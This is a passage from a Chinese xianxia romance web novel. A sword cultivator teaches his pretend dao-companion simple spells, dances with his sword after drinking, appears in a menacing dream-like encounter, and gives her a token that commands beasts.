他给那些人讲的时候,哪有这份耐心。
待盈芙学会第三个小法术“聚水术”,并延伸学会“清洁术”和“避水术”后,简溯月主动道:“该下课了,到午饭时间了。”
盈芙甚至还有些意犹未尽。
但是继续学是不可能的,更不可能耽误午饭时间的,只是会比较期待下次的课程而已。
午饭时,盈芙用一份荔枝冰酪向简溯月颁发了“优秀师尊奖”。
简溯月却拒绝了这个奖:“只是上了一节课,就是优秀师尊了?”
盈芙故作高深:“虽然只是一节课,但我已看出你博学多识且耐心惊人,甚至能带着我这样的零基础差生举一反三,假以时日,你我师徒必当名震修仙界!”
其中“你”字和“徒”字不发音,“假以时日”也可以不用发音。
简溯月难得轻笑。
盈芙又把荔枝冰酪推给他,严肃道:“而且你还年轻,不懂这个奖有多厉害多特殊。”
“哦?那在下定要请教一下。”简溯月作揖行礼,恭敬求教。
本来还想再装一下的盈芙被他逗笑了,直接公布答案:“因为这是我给你量身定制的奖呀,全天下只有你一个人能获得。”
简溯月微怔,神识悉数落在她明亮温柔的笑意上。
“那,我就收下这个奖了。”他接过了那碗荔枝冰酪。
盈芙笑吟吟地看着他品尝荔枝冰酪,又忆起刚才他玩笑般作揖行礼的样子,才知道原来他也是会开玩笑的。
这才像个二十岁的年轻人嘛,而不是整天板着一张冷脸仿佛已经看了两千年的风霜。
午餐后,盈芙照例去午休,醒来时发现简溯月已经不在宫殿里。
盈芙这次毫不着急。待到日落时,她正在窗边摇椅上喝着蜂蜜葡萄汁,赏着窗外雪景,简溯月便回来了。
“玄青川被革去授课长老之职,玄瑜光被取消今年的灵石分成。”简溯月说着,在她旁边的另一个摇椅上端正坐下,那摇椅愣是一动没动。
盈芙见他这板正模样,一时玩心骤起,用新学的控物术去摇椅子——摇……摇不动。
简溯月微微挑眉,唇边却多了一点笑意,继续端坐着道:“这次以儆效尤,以后这些长老应该不敢再这般欺负你了。”
盈芙鼓掌,也给他倒了杯蜂蜜葡萄汁,双手捧给他,真诚赞道:“不愧是我的好师尊,收拾欺负弟子的人从不手软,我的优秀师尊奖没颁错人吧?”
简溯月耳尖微红,接过蜂蜜葡萄汁,轻声斥道:“胡言乱语,我们并非师徒。”
盈芙能感觉到他心情不错,懒得跟口是心非的某人计较。
简溯月尝了一口蜂蜜葡萄汁,片刻无言。
盈芙紧张问:“不好喝吗?”
“灵力充沛,酸甜相宜,冰凉解暑。”简溯月颔首,“算是佳品,之前倒是不曾尝过。”
盈芙松了口气,想起刚来栖月宫时发现满宫只有茶这一种饮料,原来不是因为他只爱喝茶,而是因为没怎么尝过茶之外的花花饮料。
她有点同情地看向他,这二十岁的冰山小古板就是被这样养成的吧。
简溯月微微歪头,似有不解。
盈芙没说话,拿出传信玉简,往后厨又点了几种饮料,备注跟之前点好的晚餐一起送过来。
简溯月的神识能看到她都点了些什么,他能猜到,这都是她特意给他点的,嘴角不自觉微微扬起。
盈芙放下传音玉简,想起来上午自己送出去的第一件礼物,期待地问:“对了,那座山峰,你拿到了吗?”
不知道他今天下午出门这么久,有没有去签收?
简溯月品蜂蜜葡萄汁的动作一顿,随即假装淡漠道:“手续有点麻烦,还得一段时间。”
其实他师尊听玄珍璎说她要送他一座山峰,连忙亲自给他挑了座离冰荷峰远远的山峰,让他尽快搬
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过去。
不过这样一来,每天过来给她上课就很麻烦了,嗯,只是因为这个原因。
盈芙失望叹气,简溯月沉默片刻道:“我可以催催他们,应该也不会很久。”
盈芙当即眼睛一亮:“好!这可是我送的第一份礼物,对了,你一定挑个自己喜欢的山峰呀。”
简溯月:“……嗯。”
他忽然有些后悔,应该亲手挑一个的,或者由她挑好了再送给他,这样才算礼物。
“怎么啦?”盈芙从摇椅里坐起来,趴在扶手上用自己的玉杯碰了碰他的玉杯。
“无事。”简溯月习惯性答道,只是神识“看”到她的眼睛中全然倒映着他的脸庞,带着关心与担忧,他一顿,不再隐瞒。
“其实师尊已经给我挑好了山峰,离得很远,以后上课会很麻烦。”他道。
盈芙一愣,先疑惑为何是他师尊给他挑,而后陡然意识到一件事:他要搬走了。
“嘶。”盈芙无意识地倒吸口凉气,眼前已经浮现出偌大的清冷的栖月宫里,只剩她一个人和一只猫相依为伴的样子。
她爱清静,却也怕太过清静。
若连个说话的人都没有,不如直接带着雪团回家得了……对哦,之前本来就打算只是在这小住几天便回家的,不知不觉竟忘了……都怪云顶宗的厨修厨艺太好了!嗯,就是这个原因!
但这样还怎么上课?
从今天才开始好学的盈芙忍不住思考起这个严肃问题。
而且明明是她送的礼物,为什么是他师尊给他选?!
这下轮到盈芙蹙眉了。
简溯月看着她蹙起的眉头,嘴角却不禁微微扬起。
看来,苦恼的不止他一人。
盈芙苦恼了好一会,忍不住问:“你能换山峰吗?虽然你师尊已经挑好了,可这本来是我要给你的礼物……”跟他师尊有什么关系?
简溯月干脆应道:“能,换。”
虽然师尊大抵会生气,那就祝他早日消气吧。
盈芙没想到他这么好说话,又试探着问:“那课……?”
简溯月淡定道:“先照常上。”
那就是一切如常了。
盈芙彻底放松下来,懒洋洋地靠在摇椅上,晃着玉杯中的蜂蜜葡萄汁,赏着窗外雪景,方才的烦恼瞬间烟消云散,她又变成了那条惬意的咸鱼。
“不过,后天要停课一天。”简溯月又道,“有个闭关三百余年的前辈忽然出关了,要跟我切磋剑法,就在后天,那天你先休息,课改日补上。”
盈芙:“……切磋?会受伤吗?”
简溯月沉吟:“也许会,那位前辈实力非凡,是玄家和云顶宗的师祖级人物,据说已有三千年之寿。”
盈芙震惊:他面对七十二道天雷尚能毫发无损,这次这位三千岁的师祖究竟有多厉害。
而且师祖级的前辈忽然出关,点名找他切磋,她有种不安的感觉。
盈芙想起许下并蒂芙蓉誓的那天,他为她抵挡七十二道天雷时,天雷照亮那群贵客们的眼底,一些人眼中是近乎疯狂的嫉妒与忌惮。
如果这次,他连这位师祖也赢了……是福是祸?
15. 第 15 章
盈芙愈发感到不安。
“怎么了?”简溯月轻声问。
盈芙也说不清自己的感觉是对是错,更不知道该不该拦他。
“……我有些担心。”盈芙不确定地道,“如果你连那位那么厉害的师祖也赢了,那些人会不会更加嫉妒你。”
“那又何妨?”简溯月淡然问,语气是全然的不在意。
盈芙惊讶看向他,他端坐在摇椅上,手持玉杯,神色从容,脊背笔直。
她忽然意识到,他相信自己能赢过那位师祖,而且不在乎别人的嫉妒。
她第一次发现,他清冷淡漠的外表下,骨子里是有一股狂傲的。
也是,二十岁的天才,如何能不狂,如何能不傲?
盈芙释然一叹:那便去狂去傲吧,如此天纵之才,不狂不傲,黯然藏于鞘中才是浪费。
而且那些人再嫉妒,又能拿他怎样?一来根本不是他本人的对手,二来他背后可是玄家和云顶宗。
盈芙一愣,忽然发现他师尊非要让她与他结下并蒂芙蓉誓似乎还有别的用意:这不可解除的契约将他与玄家紧紧绑到一起,既将他的荣耀变成玄家的辉光,也让玄家成为他的靠山,其他人纵然嫉妒他,可谁敢与他还有他背后的玄家为敌?
他师尊其实对他不纯然是利用,也是有几分爱护的?
传音玉简亮起,盈芙回过神,欣喜起身去传送阵迎接今天的丰富晚餐。
她先将雪团的晚餐送到偏殿,用控物术将一盘盘菜肴摆到桌上,满意点头。
新的偷懒小技巧获得!
待雪团开始大快朵颐后,她离开偏殿关好门,一扭头便能看到一抹月白仙影立于正殿门口,清冷,静谧,像一捧落着月光的雪,一捧看起来清冷,实则温暖的雪。
但盈芙转念一想又觉得不对:雪不是暖的,好像也只有她觉得这“雪”是暖的。
这是他,是天上地下独一无二的他。
盈芙不知不觉地加快了步伐,又用上了今天新学的飞行术。
嗯,都是为了不让饭菜变凉!她可不能暴殄天物!
快到殿门时,她轻盈落到他身旁,与他一同进入温暖的殿中,忽然发现她点给自己和简溯月的菜肴和饮品已经在桌子上摆好了。
她惊讶看向简溯月,那人仿佛什么都没做,淡定在桌旁坐下。
“谢谢师尊~”
“胡言乱语。”
盈芙听到他一本正经地“斥责”她就想笑,她一边忍笑忍得发抖,一边在他身旁坐下,用控物术取来几种饮品,每种都给他倒上一杯,放到他身前。
“来尝尝,桂花酒酿,玫瑰露,冰糖紫苏饮,蜂蜜梅子汁……”
还有修仙界特色的:“甜芝甘露,霞彩酿,月落紫川……”
盈芙眼睛亮亮地看着这些饮品,与简溯月一起品鉴起来。
“这杯霞彩酿颜色真漂亮,嘶,酒味这么浓……”盈芙扶额咂舌,没想到这么漂亮的霞彩酿竟然是烈酒,饮下去那一口犹如一团火,从舌尖烧到胃,没过一会,头变得晕晕的,视野甚至有些模糊了。
简溯月刚才也喝了一口,此时也难受得皱眉,他不爱喝酒,平时根本不碰酒,今天难得喝一口,没想到是这么烈的酒。
盈芙在朦胧模糊的视野中找出冰镇的玫瑰露,不好意思地递给他:“抱歉,没想到这是烈酒,这个玫瑰露应该能压压酒气。”
简溯月接过这杯粉色的玫瑰露,仰头饮下,喉结滚动,耳畔明月摇晃,衬得霞色弥漫的脸颊愈发明光动人,平日淡色的嘴唇也多了几分水润的血色。
盈芙呆呆望着他,虽然眼前朦胧模糊仿佛隔了层薄纱,却只是给这幅仙君微醺图更增添了几分幽秘撩人的意境。
她忽然觉得刚才的霞彩酿好像也没那么烈了,起码醉人程度远远逊色于眼前这张仙君微醺图。
她默默给自己也倒了一杯玫瑰露压“酒气”,解口渴,入口才发现这玫瑰露怎么也一股酒味。
盈芙看着杯中粉盈盈的水懵了,不知道是这玫瑰露配方里就有酒,还是她认错了,这压根不是玫瑰露。
“你是谁?”那素来清冷的声音低哑问。
盈芙疑惑扭头看去,发现简溯月竟不知何时走到了她的身旁。
一双修长温暖的手捧起了她的脸,让她仰起头。
而他微微低头,仿佛在认真打量她,系在他眼前的长纱垂落到她脸颊上,如羽毛拂过,又轻又痒,然后被他用指尖拂开。
他自问自答道:“你是盈芙,是我的道侣,不是我的徒弟。”
盈芙头晕乎乎的,但见他这认真正经的模样就忍不住逗他:“我是你徒弟,不是你道侣。”
简溯月执拗纠正:“是道侣,不是徒弟,你若是我徒弟,就来跟我学剑。”
盈芙:“……我错了。”
简溯月似乎微微笑了一下,而后向下俯身,在她耳畔呼着气缓缓道:“晚了。”
温热的气息混着酒香寒香缭绕在耳畔,蔓延到鼻尖,盈芙的大脑一片空白,心脏似乎也趁机偷懒休息了。
简溯月握住她的手腕,似乎当真要拉她去学剑。
盈芙慌乱中回过神,连忙道:“我错了,我真的知错了!”
简溯月又追问她:“那你是我道侣还是徒弟?”
盈芙:“……道侣。”
“嗯。”他满意道,“那我为卿舞剑。”
盈芙:“!!!”还有这种好事?!
道侣和徒弟的待遇差别也太大了。
她期待地等着他舞剑,但见简溯月环顾一圈,不满道:“这里不够宽敞,我们去外面。”
他握着她的手,带着她跑向宫殿门口。
一路上,他身上所戴的成套环佩随着他的轻快步伐叮咚作响,清脆悦耳。
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>盈芙失笑:他这次真的醉的不清,还是第一次见他不顾端正走路的仪态,竟直接跑了起来,像个意气风发自由自在的少年人。
也是,若非醉的不清,他不会说这么多话,不会当真把她当道侣,也不会为她舞剑。
盈芙微怔。到了宫殿门口,简溯月停下步伐,转身看她,盈芙一时走神没来得及停下,正撞到他怀中。
盈芙倒吸凉气,彻底回神,也彻底醒了酒,连忙后撤一步,他却向前一步,替她拂开额头微乱的碎发,又轻轻摸了摸她的头顶,温柔叮嘱道:“你留在这里看就好,结界外冷。”
盈芙:……或许我是飞升期不怕冷呢?
但跟喝醉的人显然讲不通道理。
简溯月走下台阶,在空旷的殿前雪地中站定,唤出那柄冰雪质地的本命灵剑,并指拂过剑身。
刹那间,天地一静,风屏住了呼吸,星星也不再眨眼,唯有月光温柔地为他披上一层轻纱,而后亦静默。
他旋剑移步,优雅起舞,舒展介于少年与青年之间的修长躯体,月白衣袂与蒙眼轻纱随着他的步伐蹁跹翻飞,缠绵若蝶,轻灵似鹤。
他身上的环佩相击,发出清脆悦耳的声音,似为他伴奏的鼓点,又似从渺远处古老处传来的仙乐。
时间仿佛停滞,天地间只剩下无暇之月,无边之雪,无尘之仙。
恍惚间,盈芙觉得他似仙人乘月光而来,又终将溯着月光归到仙宫。
他非凡尘中人——如果没有他收剑停步时对她露出的那个青涩温柔的微笑。
仙落凡尘。
盈芙忘了呼吸。
分明是落入凡尘的仙,偏又如此明亮无暇,倒映在她眼中,好似天地间的第二个月亮。
盈芙望着这第二个月亮出了神。
直到这个“月亮”走到了她身前,连那第一个月亮也挡住了。
在她眼中,只剩唯一的月,仿佛只属于她的月……
只是仿佛。
她清醒知道,这个月亮并非属于她,今晚只是个小小的意外。
但她还想小小地贪心一下,让今夜下凡的月亮再醉一会,让自己将今晚月亮为她的一舞牢牢记住,然后偷偷藏起来,藏到心底深处,变成只有她一人知道的秘密。
唔,也许是两人,不知道他明天酒醒后还会不会记得?但愿不记得吧……不然多尴尬,明明都知道这只是一段假装的道侣关系……
“在想什么,不喜欢吗?”简溯月一只手捧起她的脸,一只手用指尖轻轻描过她的眉目。
盈芙呼吸一滞,有些招架不住:太近了,不止能闻到他身上清冽胜雪的淡淡寒香,甚至已经与他呼吸交织,感受到他温热的带着酒香的气息,还有由他掌心与指尖传来的温热……真是要命,她也不是什么定力很高的君子啊。
她心乱如麻地退后一步,他却不依不饶地上前一步:“为何不说话?”
16. 第 16 章
盈芙无奈侧过脸,她发现他醉后话真的很多。她有点后悔刚才没多喝点酒,也许同他一样真醉了,倒比此刻清醒着挣扎要轻松许多。
简溯月将她的脸捧正,执拗道:“回应我。”
盈芙:“……很好的剑舞,我很喜欢。”她能回应的只有这个了。
“喜欢就好。”他松了口气,将她轻轻圈抱在怀里,下巴抵在她头顶,温柔笑道,“日后你想看,我便舞给你看,只给你一人看。”
盈芙:“……”他知道他在说什么做什么吗?!她真的顶不住了,这人温柔起来比他的剑更要人的命。
盈芙默默深吸口气,为了他酒醒后两人还能正常相处,为了履行当初假装道侣的约定,将他推开些许道:“我们先回屋,我去找人给你熬碗醒酒汤。”
“醒酒汤……?我醉了吗?”简溯月困惑喃喃道,“我觉得我没醉,我还能舞剑,我……我好像从来没有这么轻松自在过,原来这是醉了的感觉吗?”
盈芙有些怜惜,他平日身上负担太多,难得喝醉一次,于他而言竟是这般稀有的自在体验。
“嗯,你喝醉了,我们先回屋。”盈芙拉着他的袖角,把他拉回殿里。
自他知道自己可能醉了后,乖了很多,任她安置。
“如果这是醉了,那我醒的时候是什么样子?”简溯月坐在桌旁,手撑着额头,蹙眉思索,“我想不起来了,可能真是醉了。”
盈芙正用传音玉简给后厨发消息,闻言点点头:“怪我,今晚点了太多种饮料,有些我也没喝过,没想到是烈酒,你喝了两口就醉成这样子。”
简溯月摇头失笑:“完全想不起来……不过我醒的时候,我们也是道侣吧?”
盈芙:“……嗯。”就先不提是假装的吧,要不然他肯定会追着问为什么,等他醒了,他会自己想起来的。
“那就好。”他轻声道,声音渐弱,盈芙一扭头,发现他竟撑着额睡着了。
层层袖子自他手腕处滑落,露出一截肌肉线条匀称优美的小臂,青色的血管如河流蜿蜒在白玉般的肌肤上,淌入衣袖深处。
盈芙:“……”
她默默移开视线,起身找到茶壶给自己倒了杯凉茶。
还是茶好啊。
她默默冷静片刻,回到他身边,尽量轻地扶起他。
他无意识地往她怀里靠,低声喃喃:“卿……”
盈芙无奈叹息:“停,下次再也不会让你碰酒了。”
明明是他喝醉了,心如乱麻的却是她。
她用上轻身术,将他扶回房间休息,为他解开束发玉冠,眼前轻纱,耳珰,外衣等不便休息的物什,把他摆正,给他盖好被子。
而后她打了个哈欠,困意上头,转身就要离开房间,去外面她午休常躺的屏风后小榻上休息。
一只手忽然握住了她的手腕,一个慵懒玩味的声音自她身后响起:“这就走了?”
这声音她熟悉,但这语调……
盈芙心头一颤,顿时想起了上次噩梦中见到的那个“简溯月”。
她僵硬转头,就看到了方才被她摆得直直正正的简溯月此刻竟换了个散漫侧卧姿势,一只手撑着脑袋,一只手拉住她的手腕,因了这番动作变化,原本严丝合缝的领口也变得松散。
盈芙瞬间移开了视线。
简溯月嘴角含笑地望着她,漂亮的凤眸中却只有冰冷的审视意味和浓浓杀意。
盈芙背对着他,茫然回想,她是什么时候睡着的???
“你觉得这是梦?”身后的人低语沉笑。
盈芙心想这不是梦是什么,简溯月有这么开朗爱笑?会这么散漫地侧卧着?能不顾领口开成这样?
简溯月轻嗤道:“我为何不能这样?”
但说完,他幽幽看了她一眼,还是抬手拢了拢领口,片刻后又坐起身,披上外衣。
盈芙听见身后动静回头看见这幕,愈发确认:这就是梦!
因为是梦,她的想法会影响到梦中人,也不用说话就能被梦中人知道想法,这比他会读心术合理多了吧?
而且上次她从梦中醒来,照了照镜子,脖子上什么痕迹都没有,虽然不知道为什么梦中会有痛觉,但这包是梦的!
只是,为何又梦到这样的简溯月?
盈芙一番思索,觉得还是因为上午他给她上课前,她太紧张害怕了,以至于留下了微微的阴影。
“……我给你上课?”简溯月挑眉不信,“你真是在做梦。”
盈芙瞥了他一眼,得意哼了一声,潇洒摆了摆手:那可是正儿八经的现实,他不但给她上课,刚才还给她舞剑呢,他这个梦中人是不会懂的。
简溯月:“……?”
她如此从容淡定,看起来不像说谎,正因如此,这比梦都荒唐可笑。
他蹙起眉头,没了笑意,冷声道:“过来。”
盈芙:嘿,我是梦境主人还是你是?我是不可能听你命令的!
她困得不行,试图在原地通过控制梦境直接回到她的小榻上。
她眼前的景果然变了。
变成了目光森冷可怖的简溯月。
他身披外衣坐在榻边,抬手轻松扼住了她的脖子,瞳中夜紫幽幽,隐有星辰流转沉浮,仿佛能看透一切伪装隐藏。
盈芙愣住,这梦境为何不听她的命令?!
而且她梦中的简溯月为何这么爱掐她脖子?呼吸不上来了,好疼……
“我为何要给你舞剑和上课?”他问。
盈芙:疼,好疼,救命……
简溯月沉默一瞬,松开了手,嫌弃道:“你怎么这么怕疼,我都没用多少力气。”
盈芙瘫坐地上捂着脖子咳嗽,说不出话,只能瞪着他在心里怒骂:怎么会有这么缺德的人?!我一会就梦死你!!!
简溯月像是听到了天大的笑话,以手抵额笑得胸膛震颤肩头发抖。
盈芙觉得他笑声其实还挺好听的,苏苏的,就可惜人有点变.态,不知道简溯月笑起来是什么声音,应该跟这个一样好听。
简溯月:“……”都被夸得有点不好意思了。
这还是第一次有人夸他笑声好听,之前那些人听见他笑,要么吓得快疯了,要么指着他大骂魔头猖狂。
然后他就笑着将那人的脑袋摘了下来:既然已经被骂魔头猖狂了,他当然要猖狂些。
等她咳嗽声渐小,简溯月慵懒道:“好了,说说看,我为什么要给你舞剑,给你上课。”
盈芙虽然不服他这个梦中人反客为主,但也不想再被掐,老实在脑中
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答道:舞剑是因为你喝醉了,给我上课是因为一些长老们很讨厌我,我去上课会被他们找茬欺负。
简溯月顿时目光凛冽:“我为何会喝醉?”
盈芙在脑中解释:这事怪我,今天你说蜂蜜葡萄汁很好喝,这好像是你第一次喝茶以外的饮品,我就想让你多尝几种,结果没想到里面有烈酒,你喝了两口就醉了。
简溯月目光缓和些许,但眉头仍然皱着:“你怎么不说话?”
他想看看她说出的话和心中所想是否一致,这世上可多的是心口不一的人。
盈芙懒懒在脑中答道:说话很累的,反正你能听得到我脑子里的声音,就这样吧。都做梦了,轻松点。
简溯月:“……”第一次见人连说话都嫌累。
盈芙不但嫌说话累,还嫌在地上坐着累,于是从地上站起来,拍拍衣裙,坐到了他身旁,一扭头就瞥见他复杂难言的视线。
盈芙在脑中解释:这里坐着舒服,衣服也拍干净了。不对,梦里的话其实不会有灰尘吧?
简溯月:“……”这不是重点,重点是:“你不怕我?”
盈芙从容地摆了摆手:自己梦里的有什么好怕的,又不会真的杀了她,就是不知道为什么控制不了,唔,下次可以问问溯月有没有什么控制梦境的办法,这样老被掐不行啊……
简溯月眼看她思绪越飘越远,缓缓向她伸出手。
盈芙看见这只手,顿时一个激灵,捂着脖子回了神。
简溯月又一顿笑,笑了许久。
盈芙心想简溯月要是平时也有这么开朗就好了。
简溯月笑声一顿,敛起笑意淡淡问:“那些长老为什么讨厌你?”
盈芙答道:因为他们觉得是我抢了你这个宝贝,然后他们就对我很生气。但我哪有这本事能抢走你啊。
简溯月饶有兴趣地问:“那你是如何接近我的?”
盈芙困困地打了个哈欠:不是我接近你,当时我都在赏花宴上睡着了,是你选了我,让我帮忙跟你假装成为道侣。
简溯月低声呢喃:“赏花宴……”
他想起来了,他每次重生都会经历一次,然后谁都没选。
他最初同意这场赏花会,只是为了帮他师尊分忧,不让那些长老们怨恨他师尊。
他那时也是天真到可笑。
不过在他经历的每一场赏花宴上,他都没见过她,更没见到有谁睡着。
“你……”简溯月的声音戛然而止:她靠着床帐睡着了。
他一时不知该震惊她入睡的速度,还是该惊叹她竟能在他身旁睡着。
“你醒醒。”简溯月自认自己现在不算什么好人,阴恻恻地抬手去扼她脖子,不过没用什么力气,只是虚虚地放上去,按理说,这样应该足够把她吓醒了。
盈芙果然惊了一下,但她感觉到简溯月没用力,就懒得睁开眼了,只在脑中气若游丝地回应他:你杀了我吧,再不让我睡跟杀了我也没什么区别了。
简溯月无语笑了:“你一个飞升期哪里还用睡,起来,我还有话要问。”
盈芙:绝望。
她当时去挑灵兽一定要懒的就是这个原因,这种高精力高陪伴需求的猫她根本应付不来。
简溯月:“……你觉得我是猫?!”
17. 第 17 章
简溯月震惊:居然会有人觉得他是猫?!
盈芙敷衍道:没有没有。但是你能不能直接看我记忆,这样解释起来好累的。
简溯月:“……”她已经懒到连想都懒得想了,甚至宁愿直接被他读记忆,他第一次见到有人主动想被读记忆,她都不怕被他看到什么不该看的东西吗?
盈芙也很委屈:本来今晚喝了两杯酒就容易犯困,现在到入睡点了,还被黏人的猫……不是,总之被缠着睡不了。
简溯月收回爪子,凉嗖嗖地道:“刚才你把我送到房间,我还以为你要用什么手段,我错了,你懒得用任何手段。”
盈芙:……她只是太想睡觉了,她有什么错,那就是他的错,他说的对。
简溯月低低笑了起来。
他的笑声苏苏的,很好听,盈芙却莫名有点怕:他不会生气了吧?不会还要用爪子挠她脖子吧?他的爪子挠人还是挺疼的……
“挠……”简溯月缓缓念着这个字,低头看向自己的手,神情莫测,“你觉得我刚才是在……用爪子挠你?”
“没有!绝对没有!”盈芙这次急到开口否认,困意也散了点,但她一边嘴上否认,一边死脑还在控制不住地想:反正是在梦里,他伤不了她,他不就像一只凶巴巴的喜欢张牙舞爪挠人的小猫嘛。
简溯月凉凉看她,忽然低笑一声:“下次……”
话未说完,他再次消失了。
盈芙:……下次什么?下次再也不挠了还是加倍挠她?
按照这只猫的坏脾气,好像是后者的可能性大点。
但烦恼也无用,不如睡觉。
她飞回到屏风后的小榻上,一秒睡着。
第二天醒来,她却发现自己睡在东内间的寝屋里。
她懵懵地环顾四周月白色鹤纹锦帐:昨晚明明离开这里了……不对,她是在梦里离开的,也就是说实际上她并未离开这个房间?
嘶,那不就是跟简溯月在同一个房间呆了一整晚吗?!
这这这,他那样的小古板受得了吗?
盈芙借着并蒂芙蓉誓仔细感受了一番,发现他心情似乎有点复杂,但至少没生气。
她安下心,又忍不住思索昨晚到底是什么时候睡着了?难道她昨晚其实也喝醉了?那场剑舞其实也是梦?
盈芙有点失落,又觉得果然如此,释然一叹也懒得想了。
待到下午,她午休醒来,简溯月正端坐在桌案前,提笔在《修仙常用字符》上圈画写笔记。
盈芙只当昨晚做了场长梦,照常走过去,在他旁边坐下,等他开始上课。
但自她过来后,简溯月脸颊渐染红霞,渐渐的,笔尖也停了。
他指尖摩挲着书页,又过片刻才轻声开口:“昨晚谢谢你,一直……守着我,但你这样定然休息不好,下次不必如此,我新改了一间寝屋,你可以去那里休息。”
盈芙:“……?”她不是睡了一夜吗?怎么变成守他一夜了?
她尴尬道:“其实我有点记不清昨晚到底什么情况……”
简溯月面庞上红云更浓,他扭头看向与她相反的一侧,低声道:“我也记不清了,但我醒来时看到你靠在床侧睡着了,应是守了一夜。”
他醒来时,她就靠在床侧,脑袋枕着胳膊,睡得香甜,几缕发丝如烟般轻落她白净的脸颊上,静谧如画。
他不自觉看了许久,又伸手想去触碰,但在意识到自己在做什么后陡然收回了手,唯有一颗心兀自跳动如鼓。
他“望”着自己的手蹙眉思索:是醉了还没醒吗?酒果然不是个好东西。
他起身将她抱到床榻上,想要为她盖好锦被,又陡然觉得不合适:这床被子他昨夜刚盖过,现在还是温的。
把她放到外面那张小榻上?她似乎很喜欢在那里休息,但那到底不是真正的寝屋。
简溯月微微蹙眉:他之前不怎么睡觉,也不怎么住这宫殿,想着宫殿中本就有一间寝屋应该足够她住,哪料到最近意外接二连三,一次睡一次醉,她都把他安置在这休息,她自己却睡在其它房间的榻上。
是再换一张床,还是直接再新设一间寝屋?
这取决于还会有第三次意外吗。
简溯月不是很想承认,他的直觉告诉他会有的。
他捏了捏眉心,决定在宫殿里再设一间寝屋,万一再有意外,不能让她无处可睡。
他先取来外面小榻上她午休常盖的被子给她盖好,又唤人来布置一间新寝屋。
在人到来前,他努力思索昨晚究竟发生了什么,却只能想起一些模糊的片段。
比如他好像问她,与她是道侣还是师徒,她说是道侣。
他好像还为她舞剑了,她看得很专注,眼睛亮晶晶的,比天上的万千星辰都璀璨,她还说很喜欢……
他好像还捧起了她的脸,用指尖描摹……
简溯月蓦地闭上了眼,酒实在害人。
她应该也是醉了,不然不会说什么“道侣”“喜欢”之类的话。
但他醒来时两人衣服都还算整齐,昨夜应该并未发生什么荒唐之事,真是万幸没毁了承诺。
只是她或许是担心他醉得厉害,竟守了他一夜。
她那般在意休息,昨晚肯定未睡好,他该好好补偿答谢才是。
待人整理出新寝屋后,他见她睡的熟,不忍打扰,于是先离开栖月宫,到下午该给她上课时才回来。
“先上课吧。”简溯月转移话题道,“今天下午的课是《常用修仙字符》。”
盈芙点点头,有些惊讶他此刻起伏不定的心绪——他向来是波澜不惊的,平时沉稳平静到她几乎察觉不到他的心情。
或许昨晚同处一室还是给这位小古板带来了巨大的冲击。
她现在倒是心情平静,把昨晚当成一个长长的梦就好了,毕竟他喝醉了,醉了的人说的话当不得真的。
至于那场剑舞……根据她的入睡地点推算,好像是真的,她会将那如梦似幻的记忆好好珍藏于心的,但也仅此而已,她与他只是假装道侣互相帮个忙。
仅此而已。她反复提醒自己。
简溯月将书翻回第一页,开始徐徐讲述起每个字符的写法和用法。
“这个形似眼睛的字符,名为‘内目符’,画于封闭的普通盒子上,可以看到盒子内部的东西。”简溯月边说,边提笔为她示范要如何画。
盈芙:修仙版x光!
简溯月手中凝出一个白玉匣子,推到她面前,示意她试试。
盈芙提起笔,学着他刚才的笔画顺序在匣子上顺时针画出一只“内目符”,她惊讶地眨了眨眼,发现竟真的能看到盒子内的东西了:是一枚形如短剑,质地似玉,左黑右白的令牌,上面还有三个字:
“万,妖,令?”盈芙试探着念出这三个字,不确定自己有没有认错字。
简溯月点了点头:“嗯,送你。”
盈芙:“?”
怎么忽然又送东西,这是他的爱好吗?她那次答应好要送他的礼物到现在还没想好呢!他怎么还越送越多了?!
“昨夜……是我失礼了。”简溯月微微抿唇,脑中不由闪过那些模糊的画面,闪过她明亮的眼眸……不,不该再想的,昨夜就是个错误,他必须引以为戒,遵守承诺,与她保持距离。
“是赔礼。”
盈芙:“……你要这么说,昨夜其实怪我,那些酒是我点的,该我送你赔礼。”
简溯月摇头认真道:“失礼的人是我,归根结底是我酒量太差,才饮两口就……而且你昨晚守了我一夜,我该答谢的。”
盈芙更尴尬了:“其实昨晚我不是特意在守的,我是不小心在那睡着了。”
好丢人啊……她怎么能困到那种程度?!难道是上辈子加班欠觉太多了??
“这样吗……”简溯月轻声呢喃。
他该轻松的,她昨夜说什么“道侣”和“喜欢”果然是醉得狠了,甚至醉到不小心靠在床侧就睡着了。
她就像最初一样,并不想刻意接近他,这样两人的合作就很容易继续保持了。
可为何他并未感觉到轻松,反而觉得有些……空落落的,这不应该,也许
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还是因为酒的缘故,酒真是个糟糕的东西,喝时难受,酒醒后也难受。
他掩下这份难受,只淡淡道:“收下这枚令牌吧,是赔礼或者学习奖励,你修习御兽,这枚令牌可助你号令群妖众兽。”
数年前,他曾除过一只有万年修为的恶妖,此妖修为高深,血脉古老,可以号令群妖众兽,是一方妖王,曾一夜覆灭一国。
他与此妖恶战十天十夜,终于除掉此妖,他对这妖的骨骸很有兴趣:是铸剑的好材料。
于是他自学铸剑之术,以此妖之骨铸剑,剑成后发现此剑凶狠嗜血,对妖族威压极强,持此剑可令万妖群兽臣服。
但他还是更喜欢纯粹些的剑,故而将这骨剑一直封存,连名字都没取。
直到今天上午他思索赔礼,才想起这剑,便花了点时间重新铸了一番:将其改铸为令牌,除尽剑中嗜血杀气,只留下那妖的血脉威压,如此,她持此令便可号令万妖众兽了。
而且他还在其中封存了自己的剑意与威压,即使面对妖以外的目标也可防身或进攻。
“这太贵重了。”盈芙有点哭笑不得,这样的法宝搁哪个门派都是镇派之宝级别的,他就这么轻描淡写地送给她。
并且她发现,他找的送礼理由越来越敷衍了,什么叫赔礼或者学习奖励?两个八竿子打不着的理由硬凑一起,只为把东西送出去。
偏偏他不觉得自己离谱,催促道:“快些收下,还要继续上课。”
盈芙无奈道:“我也不能什么礼都收呀,这实在太贵重了。”
她将这匣子推回去,简溯月又给她推回来,固执道:“我想送,我不觉得贵重,你收了便是。”
这次更是演都不演了,连“礼”的种类都懒得编了,真正地“失礼”了。
盈芙感觉他的状态不太对,他好像在执拗地钻某个牛角尖。
她有种预感,她要是继续拒绝,他很可能会生不知道哪门子的闷气,莫名从她眼前消失几天,可明天他还有场很重要的切磋,若是他状态不好心情不好,发挥一差,肯定更易受伤。
盈芙忽然有了灵感:“这样,如果你明天能毫发无伤地赢了那个玄家师祖,我就收下它。”
不能让他这么简单地送礼,随心所欲地送礼,她得给他提高点送礼的门槛!
简溯月闻言,微微抬头,唇边多了一点笑意:“一言为定。”
盈芙感觉此刻若能看到他的眼睛,那双修长的凤眸中定是斗志勃勃,傲气灼灼。
